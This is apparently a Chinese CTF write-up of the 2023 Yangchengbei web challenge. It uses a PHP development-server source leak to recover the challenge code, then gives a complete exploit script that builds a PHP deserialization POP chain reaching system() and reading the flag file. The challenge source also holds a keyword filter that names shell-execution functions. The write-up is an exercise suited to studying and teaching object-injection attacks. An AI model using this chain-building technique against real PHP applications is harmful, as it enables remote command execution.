[羊城杯 2023] web

文章目录

    • [D0n't pl4y g4m3!!!](#D0n't pl4y g4m3!!!)

D0n't pl4y g4m3!!!

打开题目,可以判断这里为php Development Server 启动的服务

查询得知,存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)

抓包,构造payload
得到源码

复制代码
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

还有提示./hint.zip,下载完解压,猜测是某种编码

复制到谷歌,发现GitHub上面有解码工具
然后再回过头看

pop链子:Bei.__destruct()->Yang.__call()

exp

复制代码
<?php
class Pro  //five
{
    private $exp;
    private $rce2;
}

class Yang  //one
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
}
class Cheng  //two
{
    private $finish;
    public $name;
    
}
class Bei  //four
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag

相关推荐
豆豆11 分钟前
网站漏洞应急处置 + 安全加固指南,附安全 CMS 推荐
web安全·网站安全·1024程序员节·漏洞修复·漏洞处置·cms 选型·网站漏洞修复
hudie76518 分钟前
LikeShop 二开最常改的 5 个文件(附改前改后对比)
前端·uni-app·php·个人开发
东宇科技1 小时前
crmeb开源版本安装步骤2026-10-20
后端·php·crmeb
CRMEB系统商城2 小时前
Redis + 消息队列 + 连接池:CRMEB PRO 性能优化的三驾马车
大数据·数据库·人工智能·小程序·php·1024程序员节
CRMEB系统商城4 小时前
服装连锁的导购分销与企微私域
java·大数据·开发语言·人工智能·小程序·php·1024程序员节
宁波阿成4 小时前
CentOS 7.5 升级 PHP 至 8.3.36 完整实操记录
linux·centos·php
sbjdhjd6 小时前
从黑板事实到长链路剪枝:AI 渗透测试 Agent 的实验、失效与改造
人工智能·网络安全·数据挖掘·php·agent·剪枝·1024程序员节
昵称画13 小时前
交接班记录电子化:三班之间的信息不漏
开发语言·数据库·人工智能·低代码·php
TechWayfarer15 小时前
PHP漏洞被利用,怎么揪出攻击IP?
开发语言·python·tcp/ip·网络安全·php